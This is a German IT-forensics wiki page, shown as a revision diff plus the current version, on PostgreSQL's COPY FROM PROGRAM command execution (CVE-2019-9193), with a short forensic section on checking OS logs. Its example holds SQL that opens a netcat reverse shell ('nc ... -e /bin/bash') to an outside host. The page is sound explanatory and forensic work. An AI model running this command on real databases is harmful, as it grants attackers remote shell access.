PostgreSQL Command Execution: Unterschied zwischen den Versionen

Aus IT-Forensik Wiki
(Die Seite wurde neu angelegt: „== PostgreSQL Command Execution == In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funkti…“)
 
Keine Bearbeitungszusammenfassung
 
(Eine dazwischenliegende Version von einem anderen Benutzer wird nicht angezeigt)
Zeile 1: Zeile 1:
== PostgreSQL Command Execution ==
== PostgreSQL Command Execution ==


In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).  
In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig). <ref>[https://www.postgresql.org/docs/current/sql-copy.html ''Postgres SQL COPY Funktion''] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.</ref>


Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).  
Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193). <ref>[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193 ''CVE Eintrag 2019-9193 ''] CVE Datenbank. Abgerufen am 21. Februar 2022.</ref>


Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt.  
Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt. <ref>[https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935 ''Entwicklerantwort zu CVE-2019-9193''] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.</ref>


== Beispiel ==
== Beispiel ==


Ein Beispiel zum Ausnutzen dieser Funktion ist folgendes Beispiel. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.  
Ein Beispiel zum Ausnutzen dieser Funktion ist Folgendes. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.  


CREATE TABLE cmd_exec(cmd_output text);<br>
CREATE TABLE cmd_exec(cmd_output text);<br>
Zeile 15: Zeile 15:
SELECT * FROM cmd_exec;  
SELECT * FROM cmd_exec;  


Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.
Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen. <ref>[https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution ''PostgreSQL Arbitrary Code Execution Vulnerability Alert''] Nachricht zum Metasploit Modul. Abgerufen am 21. Februar 2022.</ref>
 
== Forensische Maßnahmen ==
 
Sollte bei der Datenbank Forensik eine Hinweis auf das Nutzen der Copy Funktion gefunden werden, ist die Forensik auf Logfiles des Betriebssystems zu erweitern. Idealerweise wird auf Logfiles außerhalb des Betriebssystems zurückgegriffen, da die Manipulation von Logfiles ein potenzielles Risiko darstellt.  


== Quellen ==
== Quellen ==
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193<br>
https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/<br>
https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/

Aktuelle Version vom 21. Februar 2022, 10:50 Uhr

PostgreSQL Command Execution

In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig). [1]

Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193). [2]

Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt. [3]

Beispiel

Ein Beispiel zum Ausnutzen dieser Funktion ist Folgendes. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'nc 192.168.178.21 4242 -e /bin/bash';
SELECT * FROM cmd_exec;

Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen. [4]

Forensische Maßnahmen

Sollte bei der Datenbank Forensik eine Hinweis auf das Nutzen der Copy Funktion gefunden werden, ist die Forensik auf Logfiles des Betriebssystems zu erweitern. Idealerweise wird auf Logfiles außerhalb des Betriebssystems zurückgegriffen, da die Manipulation von Logfiles ein potenzielles Risiko darstellt.

Quellen

  1. Postgres SQL COPY Funktion Website des Postgres Projektes. Abgerufen am 21. Februar 2022.
  2. CVE Eintrag 2019-9193 CVE Datenbank. Abgerufen am 21. Februar 2022.
  3. Entwicklerantwort zu CVE-2019-9193 Website des Postgres Projektes. Abgerufen am 21. Februar 2022.
  4. PostgreSQL Arbitrary Code Execution Vulnerability Alert Nachricht zum Metasploit Modul. Abgerufen am 21. Februar 2022.